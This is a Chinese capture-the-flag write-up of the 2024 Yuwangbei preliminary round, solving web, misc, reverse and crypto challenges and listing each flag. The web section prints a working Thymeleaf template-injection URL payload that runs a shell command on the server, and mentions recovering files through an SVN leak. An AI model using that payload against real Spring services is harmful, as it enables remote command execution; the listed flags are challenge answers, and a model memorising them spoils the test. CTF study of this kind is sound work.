首页 > 其他分享 >2024御网杯初赛(wp+赛后复现)

2024御网杯初赛(wp+赛后复现)

时间:2024-09-29 22:19:45浏览次数:3  
标签:编码 admin 解码 初赛 2024 flag wp 工具 pyc

Web

web 1 input_data

svn泄露,使用SVN泄露的漏洞利用工具dvcs-ripper即可恢复flag文件

flag值:flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

web 2 admin

扫目录发现两个目录,admin和login

根据报错页面发现是springboot Thymeleaf 模板注入

找到一篇文章写的很好,利用文章给出的payload打,注意需要在admin目录请求且需要对特殊字符url编码下

Thymeleaf模板注入导致命令执行漏洞分析 - FreeBuf网络安全行业门户

payload如下:

http://101.200.58.4:3333//admin/?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::.x

flag值:flag{1a196391-e1ca-403c-9451-a34616c460e7}

Misc

misc 1 信息安全大赛的通知

打开后是一个文档,直接搜索flag可以看到有隐藏的文字

改变一下颜色就能看到完整flag

flag值:flag{HNCTF9090AS9nbg87600hn77hn88}

misc 2 编码转换

打开文本有三个编码

第一个braikfuck解码,得到第一段flag

第二个js代码,直接放浏览器就能得到第二段flag

第三个ook解码,得到最后一段flag

flag值:flag{ab71cda1b495e13b3f21f6fd50221978}

misc 4 coding_analyse

一眼html实体编码,解码

剩下依次先逆序,再解16进制,base64,凯撒,得到flag

flag值:flag{HNCTFbs345680967709b5}

Reverse

reverse 2 机器猫

首先使用pyinstxtractor工具将2.exe反编译出pyc文件

找和exe文件名相同的文件,后缀加上pyc,再补上pyc文件头

之后再使用uncompyle6工具将pyc反编译为py文件

打开末尾有一串base64编码,解码

fVJXNjE0ODBpM2RrZmNSVzYxNDgwaTNka01BSlVPe25oc20=

先倒序,然后随波逐流一把梭,得到flag

flag值:flag{HNCTFdw3b08416PKvydw3b08416PK}

Crypto

crypto 1 不小心

网上找到原题 [河北银行 2022 CTF] 手抖的小明,文章链接如下

https://blog.csdn.net/weixin_52640415/article/details/126627810

直接运行把flag头换一下,得到flag

flag值: flag{78ada113e709fdf12a5aa4aa5dd62e33}

crypto 3 base

解压首先是一串emoji表情,结合题目名字想到base100,直接使用工具basecrack爆破base编码

看到工具已经自动化使用 Base100 -> Base64 -> Ascii85 -> Base91 进行了解码

到这里就卡住了,赛后某群里有大佬解决了,这其实是base62编码,但是本题使用的字母表太抽象了,到现在我也不知道对应的表从哪找的,贴出大佬找的在线网站地址,貌似只有这个能解((

base编码解码-base64、base32、base16加密与解密 - 在线工具 (wqtool.com)

得到的结果一眼16进制解码,后面直接cyberchef一把梭了

flag值:flag{HNCTFb8cee34cf4f4633b90d1ac8b9d2e1eb}

标签:编码,admin,解码,初赛,2024,flag,wp,工具,pyc
From: https://blog.csdn.net/2301_80185313/article/details/142645006

相关文章

  • WPF下使用FreeRedis操作RedisStream实现简单的消息队列
    RedisStream简介RedisStream是随着5.0版本发布的一种新的Redis数据类型:高效消费者组:允许多个消费者组从同一数据流的不同部分消费数据,每个消费者组都能独立地处理消息,这样可以并行处理和提高效率。阻塞操作:消费者可以设置阻塞操作,这样它们会在流中有新数据添加时被唤醒并开始......
  • 【2024精华版】从零开始的大模型LLM学习全攻略:一文掌握从入门到精通
    ChatGPT的出现在全球掀起了AI大模型的浪潮,2023年可以被称为AI元年,AI大模型以一种野蛮的方式,闯入你我的生活之中。从问答对话到辅助编程,从图画解析到自主创作,AI所展现出来的能力,超出了多数人的预料,让不少人惊呼:“未来是属于AI的”。AI大模型——成为互联网从业者必备技能。......
  • 97th 2024/8/26 树形数据结构小结
    精锐线段树\(\big/\)平衡树综合题目五步取首1、每个节点需要维护的信息有?可从题目要求的目标或经推导后得到的要求的目标得到如对于括号序列这一题,将"("转化为-1,")"转化为1后,要求的答案就变成了最大前缀和和最小后缀和然后就变成了平衡树板题(区间赋值,反转,翻转)2、需要的标记......
  • 96th 2024/8/23 FWT总结
    概览将对数列的讨论带到了二进制上,用于解决跟操作二进制位的符号有关的题目如\[\sum_{i|j=k}a[i]·b[j]\]FFT的大概流程是将多项式化为点值表达式,然后通过点值表达式\(O(n)\)复杂度的合并降低复杂度上限,最后将点值表达式化回多项式第一步和第三步的复杂度是\(O(n\logn)\)的,......
  • 95th 2024/8/20 模拟赛总结59
    本次爆炸场,也是习惯了赛时:冲T3正解,但是pushdown......OUT!真的得细心,复制第一句时忘记修改第二句了,离谱的是小样例全过了还有pushdown的位置,应注意,防止在叶子节点爆4N空间,比赛时一开始打出了假的T3算法,也是因为当时想了想直接就开打了,没多过脑子,应该多想几下,不然没RP又打假......
  • 99th 2024/9/4 CDQ分治小结
    概括轻新小思路用于处理点对关系题在能将点对分段处理(如下)的题目中有奇效试想,现在要处理部分点对,其范围为\(l\in[L,R],r\in[L,R]\)其位置不确定,但是我们可以考虑将其分为三个板块分别作出的总贡献即分为\(l\in[L,mid],r\in[mid+1,R]\)\(l\in[L,mid],r\in[L,mid]\)\(l......
  • 98th 2024/9/4 VP-ARC183小结
    洪文局A很快打出来了,但还是不够快因为要构造出最中间的那个序列,所以很显然可以直接构造因为要最中间,所以试一试就可以直接试出\(n\)为偶数的样式,然后\(n\)为奇数的可以通过把最中间的数字全部放到最前面,然后在构造二实现这题简单就简单在做它的办法太多了,没思路打个暴力也能找......
  • 2024 Noip 做题记录(三)
    \(\text{ByDaiRuiChen007}\)Round#9-2024.9.23A.[P10849]LevelProblemLink题目大意给定若干人和空位,等级\(1\simn\),其中等级为\(i\)的人和空位分别有\(b_i,a_i\)个,给每个人匹配一个位置,如果一个等级为\(i\)的人匹配了一个等级为\(j\)的位置,会产生\(\ma......
  • .NET|--WPF|--笔记合集|--依赖项属性|--5.附加属性
    前言附加属性是一个ExtensibleApplicationMarkupLanguage(XAML)概念。附加属性允许为派生自DependencyObject的任何XAML元素设置额外的属性/值对,即使该元素未在其对象模型中定义这些额外的属性。额外的属性可进行全局访问。附加属性通常定义为没有常规属性包装......
  • 大模型学习路线:这会是你见过最全最新的大模型学习路线【2024最新】
    大模型学习路线建议先从主流的Llama开始,然后选用中文的Qwen/Baichuan/ChatGLM,先快速上手体验prompt工程,然后再学习其架构,跑微调脚本如果要深入学习,建议再按以下步骤,从更基础的GPT和BERT学起,因为底层是相通的,而且实际落地到一个系统中,应该也是大模型结合小模型(大模型在做判......